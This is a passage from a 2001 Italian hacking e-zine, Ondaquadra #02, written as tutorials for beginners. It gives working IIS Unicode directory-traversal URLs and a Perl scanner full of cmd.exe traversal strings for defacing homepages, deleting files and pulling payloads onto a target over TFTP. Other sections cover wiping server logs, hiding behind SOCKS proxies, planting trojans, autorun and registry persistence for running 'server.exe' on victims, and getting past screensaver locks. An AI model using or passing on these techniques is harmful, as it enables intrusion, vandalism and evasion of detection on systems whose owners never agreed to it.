mente quale combinazione e' andata a buon fine perche' ti servira' nel prossimo punto. /-------------------------------------------------\ |6 - ALTERARE iL C0NTENUT0 DEL SERVER VULNERABiLE-| \-------------------------------------------------/ Ci sono vari comandi che si possono eseguire sul server vulnerabile oltre a frugare tra le sue directory. Alcuni di questi sono: 'dir', 'echo', 'del', 'copy' o come uploadare qualche file per alterare il contenuto del server stesso. ---------------------------- 6.1 - DA WiND0WS 0 DA LiNUX- ---------------------------- 6.1.1 - MET0D0 1- ----------------- exploits: Per alterare il contenuto della home-page e' sufficiente prima di tutto localizzare il file home-page. Sfogliando le directory del server, dovresti trovare (forse in qualche subdirectory o forse non in c: ma in d: o addirittura in e:) il file 'index.htm', 'index.html', 'main.htm', 'main.html', 'default.htm', 'default.html', 'home.htm' oppure 'home.html', ma in caso tu non riesca a trovarlo prova a guardare nella directory 'c:\inetpub\wwwroot\' con il seguente comando: perl unicodexecute.pl XXX.XXX.XXX.XXX:80 dir+c:\inetpub\wwwroot\*.htm*. Una volta localizzato il file esegui il seguente comando sullo stesso prompt di ms-dos che hai gia' aperto (se usi windows) o sullo stesso terminale (se usi linux): perl unicodexecute.pl XXX.XXX.XXX.XXX:80 "echo+Hacked+by+me > c:\directory_dell'index\nome_dell'index" (se non funziona con unicodexecute.pl prova con unicodexecute2.pl). Ti apparira' la scritta: 'Executing echo Hacked by me on XXX.XXX.XXX.XXX:80'. A questo punto molto probabilmente ti dara' un messaggio di errore nel 'CGI Gateway', non preoccuparti, e' normale anche se su alcuni server questo metodo non funziona lo stesso. 6.1.2 - MET0D0 2- ----------------- browser: Apri il tuo browser preferito e nella barra degli indirizzi scrivi l'url del server bersaglio seguito da una delle seguenti linee di comandi: 1. Per visualizza il contenuto della directory c:\ esegui il seguente comando: www.host-bersaglio.com/comando_andato_a_buon_fine/..%c0%af..%c0%af..%c0%af..%c0%af ..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20dir\c%20c:\ 2. Per creare un file (testo.txt) con la scritta 'SCRIVI_QUA_UN_TESTO': www.host-bersaglio.com/comando_andato_a_buon_fine/..%c0%af..%c0%af..%c0%af..%c0%af ..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20echo%20SCRIVI_QUA_UN_ _TESTO%20>%20testo.txt 3. Per cancella il file testo.txt: www.host-bersaglio.com/comando_andato_a_buon_fine/..%c0%af..%c0%af..%c0%af..%c0%af ..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20del%20c:\testo.txt 4. Per rinominare la home-page (supponendo che si trovi in 'c:\InetPub\wwwroot\'): www.host-bersaglio.com/comando_andato_a_buon_fine/..%c0%af..%c0%af..%c0%af..%c0%af ..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20copy%20 c:\InetPub\wwwroot\index.htm%20c:\InetPub\wwwroot\index_old.htm 5. Per uplodare un file sul server bersaglio (devi possedere un server TFTP avviato sul tuo pc): www.host-bersaglio.com/comando_andato_a_buon_fine/..%c0%af..%c0%af..%c0%af..%c0%af ..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20tftp%20-i%20INSERISCI _QUA_IL_TUO_IP%20get%20INSERISCI_QUA_LA_DIRECTORY_E_IL_NOME_DEL_FILE_SUL_TUO_PC_CHE _VUOI_UPLODARE%20INSERISCI_QUA_LA_DIRECTORY_E_IL_NOME_DEL_FILE_DEL_SERVER_VULNERABILE 6. Per alterare la home-page uplodandola dal proprio hard-disk (supponendo che si trovi in 'c:\InetPub\wwwroot\'): www.host-bersaglio.com/comando_andato_a_buon_fine/..%c0%af..%c0%af..%c0%af..%c0%af ..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20copy%20c:\winnt\system32 \cmd.exe%20c:\inetpub\wwwroot\cmd2.exe - comando per copiare il programma 'cmd.exe' nella stessa directory della home-page. www.host-bersaglio.com/comando_andato_a_buon_fine/..%c0%af..%c0%af..%c0%af..%c0%af ..%c0%af..%c0%af..%c0%af..%c0%af/inetpub/wwwroot/cmd2.exe?/c%20echo%20SCRIVI_QUA_UN _TESTO>%20index.htm Queste informazioni (6.1.2) sopra riportate le ho reperite su svariati siti di sicurezza ma non le ho mai testate quindi non garantisco del loro funzionamento. /------------------------\ |7 - ViRTU0SiSMi TECNiCi-| \------------------------/ Nel momento in cui ti connetti ad un server qualsiasi, il tuo IP (Internet Protocol) viene identificato e loggato, quindi ricordati che quando tenti di hakkare un sito non sei del tutto protetto e al sicuro. Per ovviare a questo "problema" ti consiglio di mascherare il tuo IP mediante un proxy server (una lista di proxy aggiornata e' reperibile al sito: http://www.multiproxy.org/); se non sai come fare ti consiglio di leggere qualche guida che tratti in maniera semplice l'argomento. Se ci tieni molto alla sicurezza la cosa migliore da fare, oltre all'utilizzo di un server proxy, e' quella di non lasciare messaggi troppo espliciti sui server che violi, ovvero e' consigliabile non lasciare il proprio indirizzo e-mail e menchemeno nessun dato personale, al massimo il proprio nick-name. Un altra cosa da tenere a mente e' che per maggior sicurezza dovresti cercare (quando possibile) di cancellare i file .log del server violato: su un server windows nt il file .log e' quasi sempre situato nella directory 'c:\winnt\system32\logfiles\W3SVC32'. Con l'accesso gia' garantito al server puoi fare quello che meglio ritieni. Generalmente gli hackers seri si accontentano di alterare solamente la homepage; questo è un fatto molto positivo visto che quello che vogliono manifestare e' solamente quello che appare. Per continuare ad avere accesso al server pero' puoi scegliere di eseguire un terminale remoto (trojan) su di esso, soprattutto perche' non e' detto che l'host resti vulnerabile per sempre. /--------------------------------\ |8 - ADESS0 SEi UN HACKER. 0 N0?-| \--------------------------------/ Ti consideri un hacker adesso? Spero di N0 anche perche' non lo sei. Ci vuole ben altro per esserlo. /-----------------\ |9 - GLi EXPL0iTS-| \-----------------/ Gli exploits che sono necessari per mettere in pratica le "istruzioni" sono i seguenti: - unicodecheck.pl (uni.pl) - unicodexecute.pl - unicodexecute2.pl Come gia' detto, tutti questi exploits sono reperibili su http://www.securityfocus.com/ oppure su http://packetstorm.securify.com/. Per ogni ulteriore informazione, chiarimento o dubbio potete contattarmi via e-mail o su irc. 101010101010101010101010101010101010101010101010101010101010101010 01|¯¯¯¯\/¯¯¯¯|01010101|¯¯|0101|¯¯|01010101010101010101010101010101 10| |10101010| |101| _|0101010101010101010101010101010 01| |\ /| |¯¯¯¯/¯¯¯¯| _¯¯\| \ ¯\1010/¯¯/101010101010101010101 10| |1\/0| | | /\ | |1| | |\ \10/ /1010101010101010101010 01| |0101| | | \/ | |0| | |0\ \/ /10101010101010101010101 10|__|1010|_|____\__ |__|1|__|\___|\ /0101010101010101010101010 01010101010101010101| |1010101010101/ /01010101010101010101010101 101010101010101|¯¯|0| |010101010101/ /010101010101010101010101010 01|¯¯¯¯|0101010\___¯__/10101010101/__/010101|¯¯|010101010101010101 101| |010101010101010101010101010/ ¯|000| |01010101010101010 010| ||¯¯¯_¯¯\1/¯¯¯¯¯|¯¯|0|¯|¯¯¯¯\ /|¯¯¯¯|| |01/¯¯¯¯\|¯¯|/__|01 101| || |0| | /\ | |1| | |1\ \| |0| |1| /\ | /01010 010| || |1| | \/ | |0| | |01| | |1| |0| \/ | |010101 10|____|__|0|__|\__ |\_____|____|___|____|1\___|\____/|__|101010 0101010101010101010| |1010101010101010101010101010101010101010101 1010101010101010101| |0101010101010101010101010101010101010101010 0101010101010101010| |1010101010101010101010101010101010101010101 1010101010101010101|__|0101010101010101010101010101010101010101010 010101010101010101010101010101010101010101010101010101010101010101 +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 | | SE L0 C0N0SCi L0 EViTi ................................. [Tdi110cv] 0x09/0x25 | +-------------------------------------------------------------------------------+ ************************************************************* * Se lo conosci lo eviti !!! Se lo eviti non ti arresta !!! * ************************************************************* Luogo di stesura : CRFI (chi ha orecchie per intendere intenda) Ora di stesura : Cazzi miei ! (volete che vada dai sindacati ?) Motivo : Sono qui ad aspettare la fine di un job e evito di ammuffirmi !! Saluti : Tutti gli Hackmaniaci !!! Insulti vari : JEY... brutto strucchino che non sei altro ! mettiti su una linea telefonica no ?! : DJIN ... porca puttana ma hai altro da fare che criticare l'operato altrui ? (cmq date una occhiatina al precedente articolo) : WEBMASTER : Ma ti decidi , gnegnengne , a cambiare quella sottospecie di sottoserver MAC ? Almeno dimmi dove trovare dei riespettosi exploit per quella mela morsicata !!!! E magari l'hai anche pagato caro !? Anzi e magari l'hai anche pagato ?! My E-MAIL : TDI110CV@INAME.COM Target : For very little Newbies !!! (e che volete che scriva visto che anche io sono un newbies ?) * * * ... no ! non e' uno dei famosi detti alla zio Tibia , ma un detto popolare che circola nei nostri ambienti ! Si sta' infatti parlando dei famosi NOPT , i quali sembra abbiano la brutta abitudine di capitare nei momenti meno opportuni in casa tua e portarti , forzatamente , al comando ! (vero Axel ?) Bene bene ! A questo punto direi che il fine di questo articolo lo abbiamo compreso ! Approposito ... solita storia ! Non venitemi a cacare il cazzo con stronzate del tipo : 'ma queste cose sono state scritte migliaia di volte ! ' , perchè a me' nun me frega'n cazzzo ! Sarebbe la stessa cosa che andare alla Apogeo e alla Jackson e chiedergli come mai di manuali sul Linux ne avete scritti 326.000 ! Capito ? Cmq il loro scopo sara' quello di far soldi ... il mio invece di scrivere le cose piu' semplici possibili ! Ci sono concetti infatti che per quanto banali possano essere ora , ai miei tempi per impararle , seppur avendo sottomano anche le E-ZINE piu' alla moda , ci metteva giorni ! Di conseguenza se lo scopo e' informare chi vuol essere informato , ma e' privo di basi per apprendere le cose semplici , e' scontato che sia meglio partire dalle le cose banali , ma e' fondamentale farlo anche nel modo piu' chiaro possibile. OK ! Fatta la premessa si parte con introdurre che lo strumento principale e' come tutti sanno , o almeno dovrebbero sapere , il fido TELNET ! Il telnet ? (cazzo sento gia le esclamazioni piu' meravigliate :PPPP) - Ma io ho sentito parlare di shell , di linux , di portscan , ecc. !!!! - Che cazzo ci faccio con questo cazzo di Telnet ? Cosa ci fate con questo cazzo di Telnet ? ... Be' io direi tutto ! Voi pensate che con il fido Telnet potete farci del portsurfing , che altro non e' che un palloso modo di fare portscanning , ovvero connettersi a una determinata porta per verificarne il suo stato ! (badate : aperta , chiusa , o filtrata) Connettersi ad una determinata porta vuol quindi dire che potenzialmente e' possibile interagire con essa ! Alla fine i famosi client di posta fanno esattamente questo ! Si connettono alla 25 , o alla 110 del server , a seconda se la posta deve essere spedita o ricevuta , e cominciano ad inviare i comandi necessari ! E come loro tutti i tipi di client presenti al mondo ! (cazzo e poi ditemi che non sono chiaro !!!!) Inoltre , cosa direi quasi tranqurabile e lievemente significativa :PPP , con il fido telnet avete la possibilita' di connettervi anche con qualche server sulla porta 23 ! Badate bene che questo servizio e' << MoLtO RaRo :PPPPPPPPP >> !!!! ... e vai sulla porta 80 , si proprio quella su cui lavora il buon browser Internet ! Che si scrive BROWSER , ma noi lo leggiamo BROOOOSEEEERRRRRR ! (cosi' si sfrutta l'unicode dei server IIS ) Insomma con lo strumento in questione , e' possibile effettuare una connessione con ogni porta aperta ! Quindi , e piano piano arriviamo al punto , tutti sanno anche che ad ogni tentativo di connessione , verso qualsiasi servizio disponibile , e su qualsiasi server , sono in agguato i nostri perenni nemici ; i famosi log !!! Bene questi non sono altro che degli stronzettini che non fanno altro che scrivere su dei file tutti quei numerini tipo 210.123.23.1 che altro non e' che il vostro IP !!!! Il vostro ip mediante il quale poi si risale anche a chi siete ! Inoltre , proprio per ovviare a frasi del tipo :' ma , ma , ma , ma , io , io non ho fatto nulla ! ' , questi spesso , a volte anche a seconda del servizio , oltre a loggarvi l'ip , vi loggano anche tutte le richieste ! dalla prima all'ultima ! I piu' bravini , diranno ! Ma guarda che lamer che sei , ancora a parlare di wingate ! E invece un cazzetto ! Questa volta , quello che vi salvera' il culo , saranno i socks ! Aggeggetti meno conosciuti , ma molto molto comodi ! Ultimamente sembra quasi una moda quella dei wingate , ma spiacente per voi questi ultimi sono stati spesso sfruttati in malomodo , con la conseguenza che oggi funzionano , ma domani no ! Tra le altre cose , non pensiate che essi non loggano perchè lo fanno e come ! Ebbene quindi che altro possiamo fare ? Ve lho detto no ?! Usate i socks ! Quesi famosi servizietti che si usavano , quando ancora non erano k-lineati , su IRC ! Bene ora li userete per telnettarvi su qualsiasi server ! come ? Be' certo non con il telnet di Windozzo , ma con un telnet che supporti l'uso di quest'ultimi ! Dove trovarlo ? Be' usate ........... che potrete scaricare da www.download.com ! Semplice , inserite il socks , la porta (1080) , l'host a cui volete connettervi , la porta la porta relativa e... BOOMMMMM ! Siete loggati , ma nei log di sistema non ci troverete il vostro ip , ma quello del socks ! Cosi' potrete telnettarvi nella vostra free shell preferita , e fare i soliti danni che vi piace fare ! Attenzione pero' ! Non tentate nessun attacco con questi strumentini , poichè non offrono una gran sicurezza ! Certo , la possibilita' che avevate utilizzando i wingate ovvero quella di rimbalzare su piu' wingate per arrivare al target , ora non l'avrete piu' ! Ovvio , almeno che ... non ci trovate un telnet che gestisca piu' socks ! Pero' ... magari non si trova , ma nessuno vieta di farselo ! (compito per casa , al limite speditelo anche a me' !!!) E quindi cazzo mi serve un socks ? Be' ad una marea di cose ! Dovete tenere presente che telnettarvi su una di queste famose shell unix , passando per un socks , fara' in modo di evitarvi una sicura parte da protagonisti in quelli che sono gli esperimenti di tipo smurf flood o cacate simili tentati dai numerosi lameroni di passaggio. Inoltre c'è da tener presente che il rischio di essere beccati a fare qualche cosa che non va , e' tanto piu' alto quanto grossi sono i danni che fate ! Io come Sysadm , non penserei mai a mettermi alla ricerca di qualche bel lamerone che e' riuscito a cambiare la mia home page ! Sarebbe un dispendio di tempo e danaro inutile ! (oramai non ingabbiano piu' neanche i pedofili) Diverso sarebbe se questo lamerone oltre a cambiarmi le home page , mi preleva il file password , accede a root e fa anche danni ! Come reperirli ? bene , qua' entra in gioco la fantasia ! Normalmente io cerco nelle liste nere dei server IRC ! Altri utilizzano degli appositi scanner , altri ancora entrano nelle free shells e smanettano li. Infine , un metodo molto usato , si entra in uno di quei siti che li classificano e si cerca li dentro ! Attenzione , spesso quelli che troverete non saranno piu' funzionanti ! Ma non perdetevi d'animo ! Con un pochino di pazienza li si trova facilmente ! Bene carissimi ! Io avrei terminato ! Si certo un articoletto proprio terra terra , ma senza le basi ... dove vogliamo andare ? Piano piano arriveremo a parlare di cosette piu' serie ! io , non so gli altri , non mi sento di tirar fuori cose piu' complesse senza spiegare le basi ! ... o con noi o contro di noi ! il Vostro TDI110CV !!!! +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 | | MET0Di Di ESECUZi0NE AUT0MATiCA ............................ [E4zy] 0x0A/0x25 | +-------------------------------------------------------------------------------+ In questo articolo ho raccolto tutti i dettagli relativi all'esecuzione automatica di file su sistemi Windows, tutti i metodi che mi accingo ad affrontare sono largamente descritti nei maggiori siti di sicurezza italiani e non. - Esecuzione automatica: Il percorso di tale cartella all'installazione di Windows è settato per default pari a: C:\WINDOWS\Menu Avvio\Programmi\Esecuzione automatica Tale valore viene attribuito grazie alla seguente chiave del registro di configurazione di Windows: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders] Startup="C:\WINDOWS\Menu Avvio\Programmi\Esecuzione automatica" Cambiando il valore di tale chiave permetteremo l'esecuzione incondizionata di tutti i file all'interno di un'arbitraria cartella. - Win.ini: [windows] load=file.exe run=file.exe - System.ini: [boot] Shell=Explorer.exe file.exe Basterà accodare, alla voce "Shell", nome ed estensione del file che si desidera eseguire all'avvio di Windows. - Winstart.bat: Una volta creato e posto all'interno della cartella c:\windows verrà richiamato ad ogni avvio di Windows, il principio di funzionamento è quello di un consueto file bat. - Registro di configurazione: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices] StringName="c:\path\file.exe" [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] StringName="c:\path\file.exe" [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] StringName="c:\path\file.exe" [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce] StringName="c:\path\file.exe" [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] StringName="c:\path\file.exe" [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce] StringName="c:\path\file.exe" [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices] StringName="c:\path\file.exe" Possiamo aggiungere una stringa a una delle chiavi elencate precedentemente ed otterremo l'esecuzione di una determinata applicazione ad ogni avvio di Windows. - Wininit.ini: Ad ogni esecuzione Windows verifica la presenza del file wininit.ini nella cartella c:\windows, in caso affermativo lo processa e una volta terminata l'esecuzione viene definitivamente rimosso dal sistema. Questa procedura viene spesso utilizzata dai programmi di installazione allo scopo di cancellare, rinominare o spostare file che sono in uso dai componenti del sistema. -------------- wininit.ini -------------- [Rename] NUL=c:\path\file.exe -------------- wininit.ini -------------- Questo file una volta posizionato all'interno della cartella c:\windows permette, al successivo avvio del sistema, l'esecuzione del file specificato al suo interno, inoltre, il file wininit.ini verrà cancellato sucessivamente all'esecuzione; è necessario cambiare il percorso e il nome del file da eseguire a seconda delle proprie esigenze. - Autoexec.bat: Viene avviato ad ogni boot del pc - Creazione di shell dal registro di configurazione: [HKEY_CLASSES_ROOT\exefile\shell\open\command] @=""%1" %*" [HKEY_CLASSES_ROOT\comfile\shell\open\command] @=""%1" %*" [HKEY_CLASSES_ROOT\batfile\shell\open\command] @=""%1" %*" [HKEY_CLASSES_ROOT\htafile\Shell\Open\Command] @=""%1" %*" [HKEY_CLASSES_ROOT\piffile\shell\open\command] @=""%1" %*" [HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command] @=""%1" %*" [HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command] @=""%1" %*" [HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command] @=""%1" %*" [HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\Open\Command] @=""%1" %*" [HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command] @=""%1" %*" Il valore di ogni chiave viene posto di default pari a ""%1" %*" al momento dell'installazione di Windows, modificando il valore di una delle chiavi elencate precedentemente con il valore: "file.exe "%1" %*" file.exe sarà eseguito ogni qual volta sarà eseguito un file con estensione relativa alla chiave modificata. - ICQ NetDetect Agent: [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\] Questa chiave del registro di configurazione racchiude tutte le applicazioni che verranno eseguite nel caso in cui il NetDetect Agent di ICQ rilevi una connessione a Internet. Mettiamo che dovessimo eseguire automaticamente un'applicazione a connessione avvenuta, dovremmo procedere creando una sottochiave all'interno della chiave illustrata precedentemente e fornire dei valori appropriati al caso: [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\file] "Path"="c:\\path\\file.exe" "Startup"="file.exe" "Parameters"="" "Enable"="Yes" in questo esempio file.exe verrà eseguito ogni volta che sarà stabilita una connessione, naturalmente condizione necessaria è che l'ICQ NetDetect Agent sia attivo al momento della connessione. - Explorer.exe: Windows9x/ME Il file Explorer.exe viene seguito all'avvio di Windows grazie ad una chiamata nel system.ini, esso ha la funzione di gestore di finestre per il sistema operativo. La chiamata nel system.ini, che ne permette l'esecuzione ad ogni avvio, non specifica alcun percorso e per questo Windows è costretto a ricercare tale file all'interno del file system partendo dalla directory radice. Sfruttando la debolezza di tale criterio basterà rinominare il file che desideriamo eseguire in explorer.exe e inserirlo nella directory radice (c:\ per intenderci), esso verrà eseguito al prossimo avvio del sistema. Windows NT/2000 In ambiente Windows NT/2000 la chiave del registro di configurazione: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell] tale chiave è settata al momento dell'installazione del sistema operativo e contiene come valore il nome del programma che sarà eseguito dal sistema come gestore di finestre, il gestore di finestre predefinito è Explorer.exe. Il valore della chiave specifica il modulo che deve essere caricato allo sturtup, ciò viene fatto usando un percorso relativo che obbliga Windows alla ricerca di tale file secondo un criterio ben preciso, che rispetta il seguente ordine: 1. directory corrente; 2. directory specificate all'interno della chiave del registro di configurazione [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\Path], nell'ordine in cui sono specificate; 3. directory specificate all'interno della chiave del registro di configurazione [HKEY_CURRENT_USER\Environment\Path], nell'ordine in cui sono specificate. In poche parole, rinominando un file in explorer.exe e collocandolo all'interno della directory radice esso sarà eseguito ad ogni avvio del sistema senza bisogno dell'aggiunta di alcuna chiave al registro di configurazione. - Componenti Active-X: [HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components\NomeChiave] Pathname=C:\Path\File.exe Consente l'avvio di file.exe all'avvio del sistema, l'esecuzione di tale file precederà quella di qualsiasi altro programma dichiarato all'interno di chiavi "Run". - Autorun.inf: Questo file se collocato nella directory radice di un qualsiasi supporto rimovibile e non (HD, Cd-rom, etc...), consente l'esecuzione incondizionata di qualsiasi file exe in esso dichirato, nel caso in cui si acceda a tale supporto. ----------- autorun.inf ----------- open=file.exe ----------- autorun.inf ----------- Tale file una volta posto nella directory root di un drive causerà l'esecuzione di file.exe ad ogni accesso alla periferica. +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 | | AUT0RUN .................................................... [E4zy] 0x0B/0x25 | +-------------------------------------------------------------------------------+ L'autorun di Windows è stato progettato in modo da permettere l'esecuzione automatica di un eseguibile o il caricamento di un'icona quando un dispositivo di memoria di massa rimovibile (quale un cd-rom, un disco rimovibile, etc.) viene inserito. Una volta rilevata la presenza del file autorun.inf, all'interno del supporto rimovibile, il file linkato al suo interno verrà automaticamente eseguito. Questa caratteristica se usata su un supporto fisso può rivelarsi un'arma a doppio taglio. In questo modo è possibile che un utente malizioso sia in grado di eseguire codice arbitrario servendosi delle potenzialità di tale funzione, si pensi che basterà che esso posizioni nella directory radice (ad esempio c:\ se prendiamo come esempio la prima unità di memoria di massa) il file che desidera eseguire insieme all'autorun.inf che conterrà il link all'eseguibile. Non appena un utente tenterà di accedere a tale driver causerà l'esecuzione del file che girerà con i privilegi attribuiti all'user stesso che ne ha causato l'esecuzione. Passiamo ora alla parte pratica, dobbiamo eseguire il file server.exe (che fantasia =) sul sistema target e per fare questo ci vogliamo servire della funzione autorun. Dobbiamo come prima cosa creare il file autorun.inf che ne permetterà l'esecuzione, la sintassi che ci permetterà di eseguire un file all'interno del nostro driver è la seguente: open=[exepath\]exefile [param1 [param2] ...] il nostro autorun.inf di conseguenza apparirà in questo modo: ---------- autorun.inf ---------- open=server.exe ---------- autorun.inf ---------- Copiate server.exe e autorun.inf all'interno della directory radice e riavviare il sistema per rendere effettive le modifiche, nel caso in cui stiate lavorando in locale basterà F5 per aggiornare l'explorer.exe alle modifiche apportate. Adesso non vi resta che attendere che la vittima acceda al driver causando l'esecuzione del file server.exe. Vediamo ora un esempio che preveda l'utilizzo di supporti rimovibili: vi sarà capitato molte volte di trovare un pc protetto da password dello screensaver e una password al bios che ne impedisce il riavvio (ad esempio al supermercato). Per bypassare tale protezione ci serviremo ancora una volta della vulnerabilità riscontrata nell'autorun. Dobbiamo come prima cosa procurarci un programma in grado di decifrare la password dello screensaver e disattivarlo automaticamente ad esempio SS-Unlock (http://www.ips-corp.com) oppure SSBypass reperibile al sito http://www.amecisco.com/ssbypass.htm . A questo punto siamo pronti per masterizzare il nostro cd-rom che conterrà nella directory radice il nostro programma e il file autorun.inf alla cui voce "open=" sarà specificato il file da eseguire, inseriamo il nostro cd-rom nel lettore del pc che desideriamo bypassare e come per magia il programma presente sul cd-rom verrà eseguito nonostante la presenza dello screensaver e disattiverà lo stesso (questo funziona per qualsiasi sistema Windows9x, almeno che non sia stata disattivata la voce relativa alla notifica inserimento automatico). +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 | | SCANNiAM SCANNiAM0 CHE N0i W2K L0 Vi0LiAM0 ............. [Tdi110cv] 0x0C/0x25 | +-------------------------------------------------------------------------------+ Autore : TDI110CV Luogo : Ufficio Orario : 13.30 (pausa !!!) e-mail : tdi110cv@iname.com Telefono : +8888 - 88 ____________________________________________________________________________ Disclamer piu' o meno legali ! - Allora ... il presente articolozzo e tutto il codice in esso contenuto si intende ad uso e consumo unicamente di quelle persone che amministrano uno o piu' server in questione al fine unico di testarne il grado di vulnerabilita'. Per ogni altro utilizzo da parte di malintenzionati o compagnia bella io TDI110CV declino ogni responsabilita' dichiarando che in questo ultimo caso io non sono io e quindi io non posso aver scritto quello che io sto per esporvi. Infine io TDI110CV dichiaro di non sapere nulla in materia (che e' pure vero) , e che se conoscevo non sapevo e che se sapevo non c'ero e se c'ero non mi ricordo. Insomma riassumendo sappiate che se fate casino son tutti cazzi Vostri ! ____________________________________________________________________________ Carissimi lettori , come ho gia detto molte volte Vi ricordo ancora che per imparare o avvicinarsi all'arte dell'hacking le difficolta' che bisogna superare sono moltissime ! E' un po' come essere sposati ! Le difficolta' sono molte ma poi se impari a superarle tutto diventa piu' facile. Immagino che qualcuno di Voi si stia gia chiedendo perchè cazzo Vi sto sparando queste menate ! Eccheccazzoooooo pensate che io vi stia a tartassare i maroni per nessun buon motivo ? EHHH ?! Bene allora dovete sapere che in questo ultimo periodo la vita dello smanettone sembra sia diventata un pochino piu' semplice ! Certo grazie al buon Bill abbiamo la possibilita' di bucare , in quattro e quattro otto , la maggior parte delle sue creature. In questo numero di OQ troverete (almeno spero) un bel manuale sull'hacking di NT scritto dal buon Tritemius. All'interno potrete trovare diverse tecniche di hacking tra le quali una delle piu' famose ! Si la tecnica che sfrutta il bug dell'unicode trasversal directory. Bene leggetevela tutta tutta e cercate di comprenderla. Una volta compreso il concetto e suoi utilizzi , Vi troverete con la necessita' di trovare un server IIS bacato. Allora le soluzioni sono 2 : 1 - connettersi via telnet o browser e inviare al server in questione una ad una tutte le stringhe conosciute che sfruttano il bug. 2 - Utilizzare uno scanner che lo fa per Voi una volta per tutte ! Ok ... se tanto mi da tanto la cosa piu' comoda e' lo scanner , giusto ? Ebbene allora io Vi ho codato , o almeno QAUSI codato , uno scriptino in Perl che fa tutto questo. Di seguito vi lascio il codice fatene buon uso ! Per qualsiasi suggerimento mailizzatemi pure ! ciao ! Taiia acchi' ! _______________________ #!/usr/bin/perl # Use port number with SSLproxy for testing SSL sites # Usage: decodecheck IP:port # # Roelof Temmingh 2001/05/15 # roelof@sensepost.com http://www.sensepost.com # new Release From TDI110CV ~ ONDAQUADRA.CJB.NET ~ # $|=1; @unis=( "/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir", "/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir", "/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir", "/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir", "/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir", "/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir", "/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir", "/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir", "/scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir", "/scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir", "/scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir", "/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir", "/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir", "/scripts/.%255e/.%255e/winnt/system32/cmd.exe?/c+dir", "/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir", "/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir", "/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir", "/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir", "/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir", "/msadc/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir", "/msadc/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir", "/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir", "/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir", "/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir", "/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir", "/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir", "/PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir", "/PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir", "/PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir", 